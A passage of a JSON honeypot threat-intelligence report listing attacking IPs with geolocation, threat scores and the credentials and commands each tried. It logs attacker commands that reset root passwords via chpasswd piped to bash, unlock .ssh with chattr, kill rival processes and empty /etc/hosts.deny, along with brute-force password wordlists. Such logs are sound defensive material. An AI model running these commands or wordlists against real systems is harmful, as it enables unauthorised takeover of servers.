        "ubuntu",
        "user",
        "ec2-user"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "123456789",
        "password",
        "qwerty",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password1",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1384,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:50:27.386000+00:00",
        "last_seen_30d": "2026-03-02T10:50:01.953000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 979,
        "Suricata": 405
      }
    },
    "150.5.169.176": {
      "attack_count": 671,
      "first_seen": "2026-03-05T08:09:24.004Z",
      "last_seen": "2026-03-29T21:40:23.260Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "n8n",
        "node",
        "test",
        "user",
        "abc",
        "admin",
        "b",
        "cliente",
        "devman",
        "dhiraj",
        "ems",
        "home",
        "leon",
        "max",
        "obc",
        "rootuser",
        "sd"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ3edcxsw2",
        "007007",
        "111222333",
        "1234",
        "12345",
        "12345678s",
        "12345qwerty",
        "1QW23ER45T",
        "1q2w3eazsxdc",
        "5202614qwe",
        "A123123123",
        "A1234561A",
        "A1234567Z",
        "A123456T",
        "Admin123.",
        "Admin@2023",
        "B123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n6e3fJsOtJXFB\\n6e3fJsOtJXFB\\n\"|passwd",
        "echo \"Root@123\\no8q3l49sz0Fw\\no8q3l49sz0Fw\\n\"|passwd",
        "echo \"n8n\\n1RtNv1hjBBru\\n1RtNv1hjBBru\\n\"|passwd",
        "echo \"root:7hogjynSzCSf\"|chpasswd|bash",
        "echo \"root:dBloULgYyuCB\"|chpasswd|bash",
        "echo \"root:pNIN7u1ULsJy\"|chpasswd|bash",
        "echo -e \"123456\\n6e3fJsOtJXFB\\n6e3fJsOtJXFB\"|passwd|bash",
        "echo -e \"Root@123\\no8q3l49sz0Fw\\no8q3l49sz0Fw\"|passwd|bash",
        "echo -e \"n8n\\n1RtNv1hjBBru\\n1RtNv1hjBBru\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 57.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 823,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:09:24.004000+00:00",
        "last_seen_30d": "2026-03-29T21:41:30.077000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 671,
        "Suricata": 152
      }
    },
    "152.32.211.151": {
      "attack_count": 495,
      "first_seen": "2026-03-19T08:26:11.700Z",
      "last_seen": "2026-03-24T12:02:02.024Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "admin",
        "arm",
        "foundry",
        "ravi",
        "sky",
        "ss",
        "alice",
        "amp",
        "anders",
        "andrey",
        "asdf",
        "cisco",
        "devops",
        "edward",
        "frappe",
        "ftpupload",
        "netflow",
        "nominatim",
        "noreply"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123!@#qwe",
        "123456",
        "12345678",
        "@dmin",
        "Anders123",
        "Arm123",
        "Asdf123",
        "Qwerty123@",
        "Ravi123!",
        "Sm123",
        "Steamcmd123!",
        "Zhenshan123!",
        "admin123",
        "andrey123!",
        "ftpupload"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nr8sIYoAXngeg\\nr8sIYoAXngeg\\n\"|passwd",
        "echo \"Arm123\\ngdup4QfoSAM8\\ngdup4QfoSAM8\\n\"|passwd",
        "echo \"Ravi123!\\ns0zV0RTjEqhW\\ns0zV0RTjEqhW\\n\"|passwd",
        "echo \"password\\nAgh8unw43cLf\\nAgh8unw43cLf\\n\"|passwd",
        "echo \"sky\\nmM0T6skOBHG5\\nmM0T6skOBHG5\\n\"|passwd",
        "echo -e \"12345\\nr8sIYoAXngeg\\nr8sIYoAXngeg\"|passwd|bash",
        "echo -e \"Arm123\\ngdup4QfoSAM8\\ngdup4QfoSAM8\"|passwd|bash",
        "echo -e \"Ravi123!\\ns0zV0RTjEqhW\\ns0zV0RTjEqhW\"|passwd|bash",
        "echo -e \"password\\nAgh8unw43cLf\\nAgh8unw43cLf\"|passwd|bash",
        "echo -e \"sky\\nmM0T6skOBHG5\\nmM0T6skOBHG5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 587,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:26:11.700000+00:00",
        "last_seen_30d": "2026-03-24T12:03:02.401000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 495,
        "Suricata": 92
      }
    },
    "170.64.182.25": {
      "attack_count": 460,
      "first_seen": "2026-03-07T11:57:06.938Z",
      "last_seen": "2026-03-07T13:45:14.159Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "ubuntu",
        "test"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "000000",
        "654321",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:57:06.938000+00:00",
        "last_seen_30d": "2026-03-07T13:46:23.498000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 204
      }
    },
    "45.195.221.26": {
      "attack_count": 431,
      "first_seen": "2026-03-15T20:01:38.303Z",
      "last_seen": "2026-03-30T08:08:12.332Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bodega",
        "alfred",
        "admin1",
        "allen",
        "amir",
        "andy",
        "controlm",
        "coolify",
        "een",
        "gm",
        "haldaemon",
        "init",
        "issabel",
        "jenny",
        "matt",
        "paula",
        "pepe",
        "sms"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "#edc4rfv",
        "12345",
        "12345678",
        "12345678Aa",
        "1234567c",
        "1qaz2wsx#edc",
        "Aa@12345",
        "Gj@123456",
        "Issabel123!",
        "Jenny",
        "Pass@word9",
        "Paula",
        "Qwerty12!",
        "Server2023",
        "Sh123456!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nVuMQVhTliUHw\\nVuMQVhTliUHw\\n\"|passwd",
        "echo \"123\\njCtdKQHINdBz\\njCtdKQHINdBz\\n\"|passwd",
        "echo \"root:ugnlDNXWTFmv\"|chpasswd|bash",
        "echo -e \"123456\\nVuMQVhTliUHw\\nVuMQVhTliUHw\"|passwd|bash",
        "echo -e \"123\\njCtdKQHINdBz\\njCtdKQHINdBz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 552,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:01:38.303000+00:00",
        "last_seen_30d": "2026-03-30T08:09:16.530000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 431,
        "Suricata": 121
      }
    },
    "1.238.114.145": {
      "attack_count": 425,
      "first_seen": "2026-03-20T00:00:06.675Z",
      "last_seen": "2026-03-31T19:49:24.409Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ben",
        "bodega",
        "story",
        "andres",
        "dan",
        "elizabeth",
        "ftpadmin",
        "rootuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "11111111",
        "12345678",
        "1qaz2WSX#edc",
        "3edc$RFV%TGB",
        "5202614",
        "Asdfg2024",
        "CentOS",
        "P@Ssw0rd",
        "PassWord",
        "Qweasdzxc",
        "aaa111111",
        "abc.ABC",
        "asasas123",
        "ben",
        "benben",
        "elizabeth"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nZj4IZezMDwfD\\nZj4IZezMDwfD\\n\"|passwd",
        "echo \"1234\\nbkupbLuX8cSh\\nbkupbLuX8cSh\\n\"|passwd",
        "echo \"ben\\nr1rVHgYRjIA9\\nr1rVHgYRjIA9\\n\"|passwd",
        "echo \"root:iXEQv8x7FAhg\"|chpasswd|bash",
        "echo -e \"12345678\\nZj4IZezMDwfD\\nZj4IZezMDwfD\"|passwd|bash",
        "echo -e \"1234\\nbkupbLuX8cSh\\nbkupbLuX8cSh\"|passwd|bash",
        "echo -e \"ben\\nr1rVHgYRjIA9\\nr1rVHgYRjIA9\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 516,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T00:00:06.675000+00:00",
        "last_seen_30d": "2026-03-31T19:50:29.401000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 91
      }
    },
    "152.32.226.88": {
      "attack_count": 361,
      "first_seen": "2026-03-05T15:32:36.700Z",
      "last_seen": "2026-03-20T16:28:50.423Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "pengbo",
        "carlo",
        "claude",
        "cs",
        "d",
        "ftb",
        "innova",
        "kali",
        "m",
        "mike",
        "root1",
        "sysadmin",
        "testmail",
        "tiger",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123",
        "1234",
        "123456",
        "1Password!",
        "AA.2026",
        "Aa12",
        "Kali123!",
        "P@ssword02",
        "Password123!",
        "Welcome123",
        "a123456789e2911",
        "a123456A",
        "a123456sd",
        "aA.2025",
        "aa!",
        "aa123456#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1Password!\\nfafGHqnRSNI0\\nfafGHqnRSNI0\\n\"|passwd",
        "echo \"password\\nMzaAs6UumjGi\\nMzaAs6UumjGi\\n\"|passwd",
        "echo \"root:lJcuOK6fQK4Y\"|chpasswd|bash",
        "echo -e \"1Password!\\nfafGHqnRSNI0\\nfafGHqnRSNI0\"|passwd|bash",
        "echo -e \"password\\nMzaAs6UumjGi\\nMzaAs6UumjGi\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:32:36.700000+00:00",
        "last_seen_30d": "2026-03-20T16:29:59.016000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 87
      }
    },
    "57.134.214.95": {
      "attack_count": 359,
      "first_seen": "2026-03-31T05:19:25.965Z",
      "last_seen": "2026-03-31T10:43:10.894Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx123",
        "#EDC2wsx1qaz",
        "$#@!ergean*(",
        "12344321q",
        "1q2w3e4r%T",
        "1qaz@Wsx",
        "2020.com.cn",
        "20250101",
        "Aa12345678",
        "Ab123456.",
        "Abc123@@@",
        "Dex2024",
        "Izhenqi(!@#)2016",
        "Password987",
        "abcd.1234",
        "admiN123",
        "aqwzsx123",
        "axente"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6nYsmPz8EyVA\"|chpasswd|bash",
        "echo \"root:gXng98Bc6n81\"|chpasswd|bash",
        "echo \"root:i7QTDB8nMLvw\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Chatham",
      "asn": 7992,
      "as_org": "Cogeco Connexion Inc.",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 450,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T05:19:25.965000+00:00",
        "last_seen_30d": "2026-03-31T10:44:16.316000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 359,
        "Suricata": 91
      }
    },
    "36.93.249.106": {
      "attack_count": 327,
      "first_seen": "2026-03-04T12:22:08.035Z",
      "last_seen": "2026-03-04T12:51:39.534Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0416",
        "123abc,.",
        "1qazxsw2#EDCVFR$",
        "@Aa123456",
        "Bingo@1993",
        "Qwe123..",
        "keypos",
        "qwerty123@",
        "user123",
        "zxc",
        "zxcvbnm@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HveOYWx6uhcu\"|chpasswd|bash",
        "echo \"root:YTjbFbRCXuVH\"|chpasswd|bash",
        "echo \"root:ZbfwJLVftXPQ\"|chpasswd|bash",
        "echo \"root:uxJSv8KI9qEn\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bogor",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:22:08.035000+00:00",
        "last_seen_30d": "2026-03-04T12:52:46.663000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 327,
        "Suricata": 44
      }
    },
    "195.54.178.243": {
      "attack_count": 317,
      "first_seen": "2026-03-13T01:03:38.132Z",
      "last_seen": "2026-03-13T23:16:52.426Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "lucas",
        "student4",
        "bkp",
        "bot1",
        "cc",
        "emo",
        "frappe",
        "hh",
        "msf",
        "nikola",
        "oneadmin",
        "pwserver",
        "root",
        "simone",
        "stream",
        "superadmin",
        "test1",
        "trading"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!Q2w3e4r5t6y",
        "1234",
        "12345678",
        "Emo123",
        "Wialon123",
        "bkp123!",
        "bot1123",
        "frappe12345",
        "msf123!",
        "nikola123!",
        "oneadmin@123",
        "pass123",
        "password",
        "qwerty",
        "simonepass",
        "stream123",
        "student41234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nxeHOVLNe3pN5\\nxeHOVLNe3pN5\\n\"|passwd",
        "echo \"qwerty\\nuFvmKdKflqmY\\nuFvmKdKflqmY\\n\"|passwd",
        "echo \"student41234\\nT5FqJUrp2LGk\\nT5FqJUrp2LGk\\n\"|passwd",
        "echo -e \"123\\nxeHOVLNe3pN5\\nxeHOVLNe3pN5\"|passwd|bash",
        "echo -e \"qwerty\\nuFvmKdKflqmY\\nuFvmKdKflqmY\"|passwd|bash",
        "echo -e \"student41234\\nT5FqJUrp2LGk\\nT5FqJUrp2LGk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Georgia",
      "country_code": "GE",
      "city": "Tbilisi",
      "asn": 47810,
      "as_org": "Proservice LLC",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T01:03:38.132000+00:00",
        "last_seen_30d": "2026-03-13T23:17:53.239000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 65
      }
    },
    "66.154.124.165": {
      "attack_count": 316,
      "first_seen": "2026-03-07T03:18:01.649Z",
      "last_seen": "2026-03-17T20:38:25.681Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "qbtuser",
        "ts3",
        "aman",
        "anders",
        "boom",
        "central",
        "diego",
        "forge",
        "linode",
        "online",
        "openeuler",
        "portal",
        "remote",
        "roots",
        "sc",
        "shadow",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "123QWEasdZXC",
        "@qwer2024",
        "@qwer2025",
        "Aa123123",
        "Forge123!",
        "Linode123",
        "aman123",
        "boom123!",
        "diego1234",
        "ftpuserpass",
        "openeuler123",
        "password",
        "portalpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
